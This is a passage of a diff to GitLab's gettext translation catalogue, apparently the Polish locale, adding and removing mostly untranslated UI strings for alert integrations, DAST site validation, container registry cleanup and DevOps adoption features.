+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2707,6 +2762,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2719,7 +2780,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2728,27 +2795,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
+msgstr ""
+
+msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2758,9 +2849,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2770,6 +2858,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2782,6 +2882,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2797,16 +2900,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2911,6 +3035,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -3028,9 +3155,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3151,9 +3275,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3187,16 +3308,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3253,6 +3377,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3280,9 +3407,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3313,6 +3437,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3331,6 +3458,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "Wystąpił błąd podczas aktualizacji komentarza"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3517,6 +3647,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3587,6 +3723,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3668,6 +3807,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3719,9 +3861,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3774,6 +3913,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -4052,6 +4194,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4172,6 +4320,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4460,12 +4611,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4490,6 +4647,13 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4541,6 +4705,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4799,9 +4966,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4829,6 +4993,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4925,6 +5092,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4952,6 +5122,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4985,9 +5161,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5129,6 +5302,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5147,9 +5323,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5216,6 +5389,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5402,12 +5578,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5441,6 +5611,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5609,7 +5782,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr "jest niedostępna: %{reason}"
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5651,10 +5824,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5702,7 +5875,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5711,9 +5884,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5804,6 +5974,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5912,6 +6085,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6170,9 +6346,6 @@ msgstr "Klaster grupowy"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6275,6 +6448,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6608,7 +6784,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6951,6 +7127,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -7074,9 +7253,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7248,6 +7424,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7272,7 +7451,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7304,6 +7483,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7379,6 +7561,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7388,6 +7579,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7413,7 +7613,16 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7422,6 +7631,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7443,21 +7655,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8248,9 +8469,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8311,6 +8529,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8438,9 +8659,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8489,7 +8707,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8516,9 +8737,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8540,15 +8758,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8582,9 +8800,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8618,64 +8845,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8789,9 +9037,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8816,7 +9061,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8900,9 +9145,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9320,6 +9562,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9338,6 +9583,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9374,6 +9622,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9431,6 +9682,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9509,15 +9763,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9527,15 +9775,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9726,9 +10043,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9801,9 +10115,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9852,9 +10163,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9960,6 +10277,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -10035,6 +10355,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -10065,6 +10388,9 @@ msgstr ""
msgid "Email updates (optional)"
